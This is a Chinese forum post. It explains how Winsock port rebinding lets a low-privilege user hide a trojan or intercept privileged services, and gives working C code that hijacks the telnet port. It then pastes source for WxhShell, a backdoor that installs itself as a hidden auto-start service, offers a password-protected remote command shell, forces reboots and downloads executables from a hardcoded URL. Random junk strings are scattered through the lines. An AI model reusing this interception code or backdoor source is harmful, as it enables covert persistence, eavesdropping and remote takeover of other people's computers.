社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12003阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c32"$g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ictOC F  
=BzBM`-o  
  saddr.sin_family = AF_INET; (dym*_J  
^L'<%_# .  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u#0EZ2 >#  
j0S[JpoF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S4{\5ulr7  
\G6V-W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !KHbsOT?9  
3GZrVhU?m  
  这意味着什么?意味着可以进行如下的攻击: M ED_#OS  
a(x#6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2-:`lrVd  
Bhe0z|&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y7`Dx'x  
%3q7i`AZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RR>G}u9 np  
M,SIs 3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^_o:Ddz?l"  
= Ru q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -i4hJC!3  
U"K%ip:Wd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +b{tk=Q:  
&9xcP.3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [O6JVXO>  
"mcuF]7F  
  #include ?)4c!3#  
  #include Q>\9/DjUp  
  #include /-g%IeF  
  #include    ;AT~?o`n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t s=+k/Z  
  int main() Tg v]30F)  
  { wA6<Buj D  
  WORD wVersionRequested; weIlWxy  
  DWORD ret; )lVplAhZD  
  WSADATA wsaData; ;zi4W1  
  BOOL val; OP DRV\  
  SOCKADDR_IN saddr; q_:B=w+bC  
  SOCKADDR_IN scaddr; -J++b2R\%  
  int err; EyV6uk~  
  SOCKET s; Y>K3.*.  
  SOCKET sc; ;*e$k7}F  
  int caddsize; I0sw/,J/Z  
  HANDLE mt; ] -G~  
  DWORD tid;   gR k+KGKn<  
  wVersionRequested = MAKEWORD( 2, 2 ); 8uB6C0,6?  
  err = WSAStartup( wVersionRequested, &wsaData ); , ins/-3  
  if ( err != 0 ) { h8HA^><Xr  
  printf("error!WSAStartup failed!\n"); M_\)<a(8  
  return -1; Xyw;Nh!!d  
  } %X(|Z4dL  
  saddr.sin_family = AF_INET; =z2g}X  
   =UF mN"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QkY;O<Y_  
BEii:05  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 200Fd8Ju  
  saddr.sin_port = htons(23); PJ'@!jx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0,m@BsK  
  { PL7_j  
  printf("error!socket failed!\n"); Yn-;+ 4 K  
  return -1; |A:+[35  
  } fMZc_dsW9  
  val = TRUE; g=kuM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }_cX" s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .T7S1C $HP  
  { wTVd){q`.  
  printf("error!setsockopt failed!\n"); +p &$`(  
  return -1; {I QCA-AI  
  } Ga $EM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @ {8x L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vce1'aW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]q@W(\I  
MJ`BlE,Fmb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UC?i>HsJrX  
  { (k>I!Z/&2  
  ret=GetLastError(); YnX6U 1/^  
  printf("error!bind failed!\n"); I#](mRJ6  
  return -1; O%busM$P)/  
  } 'U4@Sax,  
  listen(s,2); F0+@FS0   
  while(1) bOdyrynh  
  { ,F0bkNBG  
  caddsize = sizeof(scaddr); /PtmJ2 [  
  //接受连接请求 <,(Ww   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yyu f  
  if(sc!=INVALID_SOCKET) M1=y-3dW3  
  { #W=H)6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AO^c=^  
  if(mt==NULL) nV?e(}D  
  { j*@EJ"Gm>  
  printf("Thread Creat Failed!\n"); O.wk*m!9  
  break; -'::$ {  
  } ScTeh  
  } HiDL:14  
  CloseHandle(mt); e{`DvfY21  
  } v/}h y$7  
  closesocket(s); C-L["O0[  
  WSACleanup(); F7qQrE5bl  
  return 0; sBWLgJz?C  
  }   o`ijdg!5qG  
  DWORD WINAPI ClientThread(LPVOID lpParam) ? Eh)JJt  
  { V?+Y[Q  
  SOCKET ss = (SOCKET)lpParam; Z)H9D(Za  
  SOCKET sc; Mj-B;r  
  unsigned char buf[4096];  tvvRHvL  
  SOCKADDR_IN saddr; 1N\-Ku  
  long num; 9N{"ob Z  
  DWORD val; &io*pmUm6  
  DWORD ret; -S *MQA4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >PK\bLEo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D*o[a#2_  
  saddr.sin_family = AF_INET; 8i?h{G IMV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rQD7ZN_ R  
  saddr.sin_port = htons(23); ,#QLc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~:lN("9OI  
  { }e0)=*;l  
  printf("error!socket failed!\n"); \j3XT}  
  return -1; 7Ys\=W1  
  } P*sb@y>}O  
  val = 100; )K^5+oC17  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \l9S5%L9  
  { A]"IQ-  
  ret = GetLastError(); 1r;.r|  
  return -1; 7"Iagrgw  
  } U4$CkTe2Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t(?tPt4zp  
  { ' CO3b,  
  ret = GetLastError(); k=qb YGK  
  return -1; @+ U++  
  } yW)X asn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L BP|  
  { 0'.7dzz  
  printf("error!socket connect failed!\n"); U `<?~Bz  
  closesocket(sc); \%011I4  
  closesocket(ss); Fl&Z}&5p  
  return -1; ^\zf8kPti  
  } ti^msC8e  
  while(1) a#:K"Mf.  
  { ^zVBS7`J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ISl-W1u}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7BDoF!kCx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 */yR _f  
  num = recv(ss,buf,4096,0); t|y`Bl2  
  if(num>0) l\{{iAC]I  
  send(sc,buf,num,0); .ITR3]$  
  else if(num==0) iH""dtO  
  break; BSib/)p   
  num = recv(sc,buf,4096,0); 0"to]=  
  if(num>0) fA>FU/r  
  send(ss,buf,num,0); #'jd.'>  
  else if(num==0) R-2V C  
  break; 1P+Te,I  
  } i VIpe  
  closesocket(ss); b#[7A  
  closesocket(sc); IHlTp0?  
  return 0 ; q-)Ynp4'  
  } c- {;P>L  
N3}jLl/  
zV8^Hxl  
========================================================== ?h4Rh0rkX  
%1oG<s  
下边附上一个代码,,WXhSHELL $9Yk]~  
h16i]V  
========================================================== 4(FEfde=  
jvfQG:F }  
#include "stdafx.h" QL4BD93v  
#b?)fqRJL  
#include <stdio.h> jsrIZbN  
#include <string.h> RY]Vo8  
#include <windows.h> ;_vo2zl1  
#include <winsock2.h> 9:tn! <^=I  
#include <winsvc.h> #fR~ 7 KR  
#include <urlmon.h> XY1e eB-  
(jY -MF3  
#pragma comment (lib, "Ws2_32.lib") ,:1_I`d>#X  
#pragma comment (lib, "urlmon.lib") /Sag_[i  
bAa+MB#A  
#define MAX_USER   100 // 最大客户端连接数 1-M\K^F  
#define BUF_SOCK   200 // sock buffer 3l8k O  
#define KEY_BUFF   255 // 输入 buffer )Cm7v@B   
-I\Y m_)  
#define REBOOT     0   // 重启 (ug^2WG Yq  
#define SHUTDOWN   1   // 关机 pNzSy"Y$  
I T\lkF2  
#define DEF_PORT   5000 // 监听端口 xfyUT^  
?QXc,*=N  
#define REG_LEN     16   // 注册表键长度 O~WT$  
#define SVC_LEN     80   // NT服务名长度 lZa L=HS#L  
c/q -WEKL  
// 从dll定义API m|5yET  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w0FkKJV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $J] b+Bp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X^;LiwQv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BCK0fk~  
T+y3Ph--^  
// wxhshell配置信息 aA5rvP +  
struct WSCFG { ;%H/^b.c  
  int ws_port;         // 监听端口 @a{1vT9b  
  char ws_passstr[REG_LEN]; // 口令 N$i|[>`j  
  int ws_autoins;       // 安装标记, 1=yes 0=no *j0kb"#  
  char ws_regname[REG_LEN]; // 注册表键名 LYv$U;*+  
  char ws_svcname[REG_LEN]; // 服务名 b\l +S2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `Ko6;s#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rcWr0q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XvIrO]F-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ED+tVXyw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k5%:L2FO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M!e$h?vB  
&b#O=LF  
}; ))qOsphN  
z` :uvEX0  
// default Wxhshell configuration =U_WrY<F  
struct WSCFG wscfg={DEF_PORT, SqF9#&F  
    "xuhuanlingzhe", 9<ev]XaSl  
    1, rprtp5Cg  
    "Wxhshell", xxN=,p  
    "Wxhshell", Alsr6uLT1  
            "WxhShell Service", -%*w&',G  
    "Wrsky Windows CmdShell Service", 0DFxVH_xN  
    "Please Input Your Password: ", C/w!Y)nB=  
  1, Xt!%W    
  "http://www.wrsky.com/wxhshell.exe", `f9I#B  
  "Wxhshell.exe" %;Dp~T`0  
    }; 7Q(5Nlfcz  
itmdY!;<  
// 消息定义模块 dsh S+d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OEN!~-u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2sOV3~bB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";   vZQ'  
char *msg_ws_ext="\n\rExit."; uNV\_'9>Y  
char *msg_ws_end="\n\rQuit."; nz=X/J6  
char *msg_ws_boot="\n\rReboot..."; z&6TdwhV  
char *msg_ws_poff="\n\rShutdown..."; :$`"M#vMX  
char *msg_ws_down="\n\rSave to "; JY|f zL  
jJN.(  
char *msg_ws_err="\n\rErr!"; P1Z+XRWOM  
char *msg_ws_ok="\n\rOK!"; '7!b#if  
D-[` wCa,  
char ExeFile[MAX_PATH]; St6U  
int nUser = 0; YuZxKuGy  
HANDLE handles[MAX_USER]; @GB~rfB[  
int OsIsNt; k8}*b&+{vz  
xt%-<%s%f  
SERVICE_STATUS       serviceStatus; 4EO,9#0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U2DE"  
.5',w"R  
// 函数声明 f ,?P1D\  
int Install(void); ]&')# YO  
int Uninstall(void); c:/ H}2/C  
int DownloadFile(char *sURL, SOCKET wsh); bk**% ]  
int Boot(int flag); [_&\wHX  
void HideProc(void); 1?6;Oc^  
int GetOsVer(void); [HKTXF{n  
int Wxhshell(SOCKET wsl); i U^tv_1  
void TalkWithClient(void *cs); <4gT8 kQ$x  
int CmdShell(SOCKET sock); [ ET03 nZ  
int StartFromService(void); ;BsPms@U  
int StartWxhshell(LPSTR lpCmdLine); >&|C E2'  
_7AR2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BnLM;5 >  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5/:BtlFx  
VPB,8zb ]  
// 数据结构和表定义 6dRxfbL  
SERVICE_TABLE_ENTRY DispatchTable[] = F9sVMV  
{ h|_E>6d)  
{wscfg.ws_svcname, NTServiceMain}, R).?lnS  
{NULL, NULL} Jv*(DFt!v  
}; [dK5kO  
GgoPwl#{  
// 自我安装 Xgge_`T9  
int Install(void) ] Fx9!S  
{ -/>SdR$D7  
  char svExeFile[MAX_PATH]; 88)F-St  
  HKEY key; io[$QTY  
  strcpy(svExeFile,ExeFile); z9k3@\7  
rKR2v (c  
// 如果是win9x系统,修改注册表设为自启动 Ut;, Z  
if(!OsIsNt) { ".9 b}}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6]=R#d 7U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,qS-T'[v,(  
  RegCloseKey(key); Hoaf3 `n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TNA?fm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y{.s 4NT  
  RegCloseKey(key); 4,o|6H  
  return 0; -.8 nEO3  
    } mCa [?  
  } YxEc(a"  
} K5O#BBX=  
else { U2=PmS P  
t;7 tuq   
// 如果是NT以上系统,安装为系统服务 v-;j44sB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XY[uyR4Z  
if (schSCManager!=0) vI<n~FHt  
{ yG)zrRU  
  SC_HANDLE schService = CreateService S}q6CG7 u  
  ( ^Z:oCTOP  
  schSCManager, 6!|-,t><  
  wscfg.ws_svcname, 2]Nc@wX`p  
  wscfg.ws_svcdisp, CS;bm `8a  
  SERVICE_ALL_ACCESS, f$G{7%9*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jl;%?bx  
  SERVICE_AUTO_START, STDT]3.  
  SERVICE_ERROR_NORMAL, '!)|;qe  
  svExeFile, Jww LAQ5  
  NULL, [NE:$@  
  NULL, _S43_hW  
  NULL, 5]/i[T_  
  NULL, bk@F/KqL  
  NULL ~bSPtH ]6d  
  ); W}<'Y@[ ,  
  if (schService!=0) lg)jc3  
  { (mHCK5  
  CloseServiceHandle(schService); 481SDG[b  
  CloseServiceHandle(schSCManager); |IbCN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _5F8F4QY`  
  strcat(svExeFile,wscfg.ws_svcname); 0B0Uay'd_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lx8@;9fLy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UenB4  
  RegCloseKey(key); xn49[T  
  return 0; p`@7hf|hm  
    } [b-wak})aD  
  } H"_ZqEg  
  CloseServiceHandle(schSCManager); :zXkQQD8`  
} 8+ P)V4}  
} >z'kCv  
_e%jM[  
return 1; Nwu,:}T  
} f; <qGM.#|  
4{?Djnh  
// 自我卸载 Y#9dVUS  
int Uninstall(void) oMH-mG7:K  
{ :J|t! `  
  HKEY key; }%K)R 5C  
=-XI)JV#  
if(!OsIsNt) { 0{0|M8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ')k n  
  RegDeleteValue(key,wscfg.ws_regname); o1x IGP<  
  RegCloseKey(key); Q/oel'O*x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3<ikMUq&  
  RegDeleteValue(key,wscfg.ws_regname); 7B@[`>5?%L  
  RegCloseKey(key); 0_d,sC?V  
  return 0; )/BI :)  
  } F dR!jt  
} \ W3\P=  
} gxry?':  
else { biTET|U`$  
BU-m\Kf)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bnju_)U5)  
if (schSCManager!=0) )Mw<e  
{ )24c(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t2)S61Vr  
  if (schService!=0) R5iv]8X4W  
  { XH_XGzBQS  
  if(DeleteService(schService)!=0) { 5$kv,%ah  
  CloseServiceHandle(schService); AS;EO[Vn  
  CloseServiceHandle(schSCManager); 1&S34wJF  
  return 0; Jx# r  
  } `Zn2Vx  
  CloseServiceHandle(schService); 9[<,49  
  } 6#egy|("nF  
  CloseServiceHandle(schSCManager); 5^"T `,${  
} }!tJ3G  
} `m N*"1p-  
=|lw~CW  
return 1; |P{K\;-  
} so~vnSQ!x  
4CR.=  
// 从指定url下载文件 {0J TN%e  
int DownloadFile(char *sURL, SOCKET wsh) 9,h'cf`F  
{ :JBvCyj4PE  
  HRESULT hr; Qqt<  
char seps[]= "/"; %nU8 Ca  
char *token; 9.F+)y@  
char *file; s bf\;_!  
char myURL[MAX_PATH]; *h=|KOS  
char myFILE[MAX_PATH]; >Qk4AMIO  
K8,fw-S%  
strcpy(myURL,sURL); N1dp%b9W(  
  token=strtok(myURL,seps); 9cJzL"yi  
  while(token!=NULL) ]s3U+t?  
  { i #5rk(^t  
    file=token; h{s- e.  
  token=strtok(NULL,seps); y/!h.[  
  } $tGk,.#j  
C]22 [v4  
GetCurrentDirectory(MAX_PATH,myFILE); x.Sq2rw]V  
strcat(myFILE, "\\"); oz!;sj{,D  
strcat(myFILE, file); R)s@2S  
  send(wsh,myFILE,strlen(myFILE),0); {1H3VSYq  
send(wsh,"...",3,0); Q fI =  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8mM^wT  
  if(hr==S_OK) JGS4r+   
return 0; mlolSD;7  
else lM1Y }  
return 1; ^4Ta0kDn  
Dps0$f c  
} J1,\Q<  
01md@4NQ  
// 系统电源模块 B+y r 6Q.  
int Boot(int flag) 39s%CcI`k  
{ ifA{E}fRZP  
  HANDLE hToken; Zj )Bd* a  
  TOKEN_PRIVILEGES tkp; Gy*6I)l  
F-MN%WD~  
  if(OsIsNt) { q$[x*!~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a?]Ow J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #!,tId  
    tkp.PrivilegeCount = 1; G813NoS o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dpHK~n j\_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,z6&k   
if(flag==REBOOT) { ({/@=e x*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %M+ID['K9/  
  return 0; YG<7Zv  
} }nrl2yp:%  
else { wgm?lfX<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mT8")J|2  
  return 0; :Gyv%> .  
} ^P&)2m:s  
  } Z!Y ^iN  
  else { pgK)  
if(flag==REBOOT) { Xne{:!btw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KsZXdM/  
  return 0; @/6cEiC+r\  
} p9*#{~   
else { jPG&Ypm1   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q_<CG[,6D1  
  return 0; X( m&  
} !^ko"^p  
} ZU%7m_zO  
:cv_G;?  
return 1; C^]y iR-U  
} 5;=,BWU  
)L?JH?$C  
// win9x进程隐藏模块 T7E9l  
void HideProc(void) '2+Rb7V  
{ ve.rp F\  
[ F id  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o,a 3J:j]  
  if ( hKernel != NULL ) 9OYsI  
  { tA?P$5?-*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +(d\`{A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <<>?`7N  
    FreeLibrary(hKernel); Q>y2C8rnJ/  
  } 9;3f`DK@2k  
+'qzk>B  
return; :( A5 ,$  
} S?.2V@Ic  
!Kv.v7'N/k  
// 获取操作系统版本 yQ)y#5/<6  
int GetOsVer(void) wTBp=)1)f  
{ 9)={p9FZY  
  OSVERSIONINFO winfo; I>X_j)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \D8d!gr  
  GetVersionEx(&winfo); v%t "N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $N[-ks2 {@  
  return 1; Y$8 >fv  
  else 3RpDIl`0  
  return 0; ~Ein)5  
} U[5  
D.G+*h@ g  
// 客户端句柄模块 DJSSc  
int Wxhshell(SOCKET wsl) 3DRXao  
{ {Z<4  
  SOCKET wsh; F5Tah{  
  struct sockaddr_in client; b?U!<s.  
  DWORD myID; %H\i}}PTe  
LO8V*H(  
  while(nUser<MAX_USER) U[9`:aV;  
{ aagN-/mgm  
  int nSize=sizeof(client); Cs$wgm*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =VkbymIZ4y  
  if(wsh==INVALID_SOCKET) return 1; OZdiM&Zss  
gf6<`+/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D6!`p6r+  
if(handles[nUser]==0) HpI[Af}l  
  closesocket(wsh); x6A*vP0nm)  
else 7B GMG|  
  nUser++; @$ E&H`da  
  } aML?$_6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `A O_e4D0i  
<TmMUA)`}  
  return 0; 3QSP](W-(  
} yRaB\'  
H:x=v4NgsU  
// 关闭 socket b!VaEK  
void CloseIt(SOCKET wsh) 9j458Yd4*  
{ tiJY$YqA  
closesocket(wsh); >jU.R;H5  
nUser--; .L'>1H]B  
ExitThread(0); FJl#NOp&  
} _ 1[5~Pnh  
nunTTE,iq%  
// 客户端请求句柄 X&sXss<fO%  
void TalkWithClient(void *cs) h%MjVuLn  
{ @ ]u nqCO  
c%Y%c2([  
  SOCKET wsh=(SOCKET)cs; [pf78  
  char pwd[SVC_LEN]; L2Ynv4llm  
  char cmd[KEY_BUFF]; L~fx VdUz  
char chr[1]; 0?525^   
int i,j; :Rc>=)<7  
E[bJ5o**#  
  while (nUser < MAX_USER) { k4te[6)  
.]`LR@qf  
if(wscfg.ws_passstr) { 7a.$tT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >h>X/a(=~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zg,?aAm  
  //ZeroMemory(pwd,KEY_BUFF); Rk8>Ak(/  
      i=0; a[iuE`  
  while(i<SVC_LEN) { ur^)bp<n  
8/X#thG  
  // 设置超时 q h;ahX~  
  fd_set FdRead; 4PUSFZK?  
  struct timeval TimeOut; fMRBGcg7Dc  
  FD_ZERO(&FdRead); dD@k{5  
  FD_SET(wsh,&FdRead); *Q=ER  
  TimeOut.tv_sec=8; 6tXx--Nh  
  TimeOut.tv_usec=0; jt-Cy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P]A>"-k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -?gr3rV@  
lNuZg9h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K@lZuQ.1  
  pwd=chr[0]; nsWenf  
  if(chr[0]==0xd || chr[0]==0xa) { INZycNqm,  
  pwd=0; JFe %W?}.D  
  break; wb^Yg9  
  } ^Nl)ocHv!  
  i++; *het_;)+{  
    } q B-9&X  
cwi HHf>  
  // 如果是非法用户,关闭 socket ;=piJ%k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U^<\'`  
} BU-+L}-48  
N|pjGgI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S\2QZ[u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); txM R[o_  
&RQQVki3  
while(1) { =~Oi:+L  
"5*n(S{ks  
  ZeroMemory(cmd,KEY_BUFF); p?S:J`q  
`WvNN>R  
      // 自动支持客户端 telnet标准   |r*btyOJk  
  j=0; FT'_{e!M  
  while(j<KEY_BUFF) { 6v7H?4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S'~Zlv 3`  
  cmd[j]=chr[0]; :Z|lGH =  
  if(chr[0]==0xa || chr[0]==0xd) { c(jF^ 0~  
  cmd[j]=0; d5$2*h{^v  
  break; 1(6B|w5+  
  } 9 ! [oJ3  
  j++; vUD,%@k9  
    } #;GIvfW  
/rp.H'hC  
  // 下载文件 Gxk=]5<7  
  if(strstr(cmd,"http://")) { Qzy[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {H OvJ`tM  
  if(DownloadFile(cmd,wsh)) yyZ}qnbx]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bs2.$~   
  else oK1"8k|Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yGl (QLk  
  } v#u]cmI  
  else { vaQZ1a,  
HPVW2Y0_N  
    switch(cmd[0]) { Zj;2>  
  (3z: ;  
  // 帮助 9!sx  
  case '?': { It,m %5 Py  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JJJlgr]#  
    break; g;)xf?A9q  
  } - Z?rx5V;t  
  // 安装 ZAe>MNtW  
  case 'i': { r:.5O F}  
    if(Install()) ='f<_FD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ])paU8u  
    else Gw3eO&X3i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OoOKr  
    break; 5 OR L  
    } >o #^r;  
  // 卸载 9hG)9X4  
  case 'r': { Sqj'2<~W  
    if(Uninstall()) w$Lpuu n{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )yp+!\  
    else ]|g{{PWH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kl.xe&t@j  
    break; .Lz\/ OS  
    } SrzlR)  
  // 显示 wxhshell 所在路径 }Y\Ayl  
  case 'p': { aH<BqD[#  
    char svExeFile[MAX_PATH]; bv$g$  
    strcpy(svExeFile,"\n\r"); s>`$]6wPa  
      strcat(svExeFile,ExeFile); l<  8RG@  
        send(wsh,svExeFile,strlen(svExeFile),0); lV!ecJw$  
    break; WHxq-&=  
    } \eD#s  
  // 重启 9Mo(3M  
  case 'b': { 'T@K$xL8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t{t*.{w  
    if(Boot(REBOOT)) B6r~4=w_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}b%gblx  
    else { Th,15H DA  
    closesocket(wsh); v  P8.{$  
    ExitThread(0); e|Iylv[3  
    } `-!t8BH  
